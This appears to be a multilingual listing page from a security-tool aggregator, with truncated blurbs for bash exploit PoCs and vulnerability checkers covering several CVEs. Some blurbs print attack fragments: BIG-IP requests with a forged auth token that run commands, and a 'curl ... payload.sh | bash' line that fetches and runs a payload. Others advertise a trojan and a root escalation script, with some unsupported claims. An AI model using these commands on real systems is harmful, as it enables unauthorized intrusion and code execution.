React2shell-ultimate-scanner

Scanner Avanzato CVE-2025-55182 🚀 Uno scanner di sicurezza professionale e automatizzato per rilevare e convalidare CVE-2025-55182 , una vulnerabilità critica che colpisce Next.js React Server Components. Progettato per ricercatori di sicurezza, penetration tester e cacciatori di bug bounty che...

CVE-2020-9484

CVE-2020-9484 Bash POC per CVE-2020-9484 che ho usato nella sfida tryhackme...

CVE-2022-1388

CVE-2022-1388 Vulnerabilità REST iControl di BIG-IP CVE-2022-1388 Utilizzo Questa POC è verificata! root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' ...

Log4j-Updater

Log4j Updater Mit der unvermeidlichen Notwendigkeit, das berühmte Java-Framework namens Log4j zu aktualisieren, müssen zahlreiche Unternehmen Log4j gleichzeitig auf mehreren Computern aktualisieren, was Zeit und Kosten verursacht, und hier kommt der Log4j Updater ins Spiel. log4jupdater.sh ist ei...

CVE-2022-22963-Poc-Bearcules

CVE-2022-22963-Poc-Bearcules Questa è una POC per CVE-2022-22963 L'ho scritta in bash. Sono nuovo alla programmazione di script e questo è il mio primo script Dichiarazione di non responsabilità Non sono responsabile per qualsiasi uso improprio o abuso quando si utilizza questa POC . solo per sco...

cve-2020-14882

cve-2020-14882 Script Bash per sfruttare l'esecuzione remota di comandi non autenticata di Oracle Weblogic - CVE-2020-14882 Utilizzo ./cve-2020-14882.sh...

LuCI_RCE_exp

EXP von CVE-2019-12272 CVE-2019-12272 ist eine Schwachstelle in LuCI, die die Ausführung von beliebigem Bash-Code ermöglicht. Details https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Nutzung python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls...

defender

🛡️ Linux-Defender.sh 📝 Indice 📌 Panoramica 🚀 Funzionalità 🐧 Distribuzioni Supportate 📦 Strumenti Installati ⚙️ Installazione Compilazione dal Sorgente Generale 📦 Installazione Pacchetti Pacchetto Debian .deb Pacchetto Arch Linux 🧰 Esecuzione del Defender 🧾 Licenza 🙋‍♂️ Autore ☕ Supporto e...

Gombruc

Gombruc escalation dei privilegi per linux tutte le versioni Questa vulnerabilità è correlata a CVE-2025-0401, che riguarda tutti i sistemi Linux. Con l'aiuto di questo script bash, puoi dare al tuo utente qualsiasi livello di accesso, fino ad includere l'accesso di root. Attenzione: Questo explo...

sleepall

sleepall Trojan basato sulla vulnerabilità CVE-2024-28085 https://people.rit.edu/sjf5462/6831711781/wall2272024.txt che non è ancora stata corretta da nessuna parte. In sostanza: bash supporta i codici escape e possiamo controllare la forma della stringa nel terminale. Il trojan ascolta i process...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker Script Bash per verificare CVE-2022-0847 "Dirty Pipe" https://dirtypipe.cm4all.com/ Utilizzo Verifica la versione corrente del kernel root@kitploit: ./dpipe.sh Verifica una versione specifica del kernel root@kitploit: ./dpipe.sh 5.10.11...

CVE-2024-6387-OpenSSH-Vulnerability-Checker

CVE-2024-6387-OpenSSH-Vulnerability-Checker Questo repository contiene uno script Bash per verificare la versione di OpenSSH su sistemi Ubuntu e determinare se è vulnerabile a problemi di sicurezza noti. Caratteristiche Controlla la versione di OpenSSH installata sul sistema. Determina se la...

WAES

WAES - Web Auto Enum & Scanner Versione 1.2.77 WAES è una piattaforma professionale di enumerazione web e ricognizione basata su bash, progettata per competizioni Capture The Flag CTF, Bug Bounty hunting e Penetration Testing. Automatizza il complesso workflow della scansione di sicurezza...

D4N155

OWASP D4N155 FEHLER: URLs nach Domain extrahieren funktioniert nicht. Google-Crawler stoppt. Ich werde es beheben. Es ist ein Informationssicherheits-Audit-Tool, das intelligente Wortlisten basierend auf dem Inhalt der Zielseite erstellt. Helfen Sie uns, Einige verwendete Berechnungen ansehen...

HMAC_Bruteforcer

HMACBruteforcer Bruteforcer molto lento per chiavi HMAC Implementato in Bash Usa: OpenSSL Crunch Opzionale...

CVE-2022-1388

Vulnerabilità BIG-IP iControl REST CVE-2022-1388 PoC Questa vulnerabilità potrebbe consentire a un attaccante non autenticato con accesso di rete al sistema BIG-IP tramite la porta di gestione e/o gli indirizzi self IP di eseguire comandi di sistema arbitrari, creare o eliminare file o disabilita...

CVE-2022-1388_PoC

Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Compile o binário: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Execute o script bash: root@kitploit: bash exploit.sh Na máquina alvo, execute em um diretório gravável: root@kitploit: curl http://:8000/payload.sh | bash Ele baixará...

bash-CVE-2017-17562

bash-CVE-2017-17562 Uma implementação PoC em Bash para CVE-2017-17562. Requer curl para criar requisições HTTP. Baseado nas implementações do Metasploit e de @fssecur3. Arguments Os seguintes argumentos precisam ser definidos, pois são necessários para reconhecimento e envio do payload:...

CVE-2024-24919

CVE-2024-24919 Verificatore Un semplice script bash per verificare la vulnerabilità CVE-2024-24919. Installazione Clona il repository: root@kitploit: git clone https://github.com/satriarizka/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919-scan.sh Utilizzo ./CVE-2024-24919-scan.sh -l...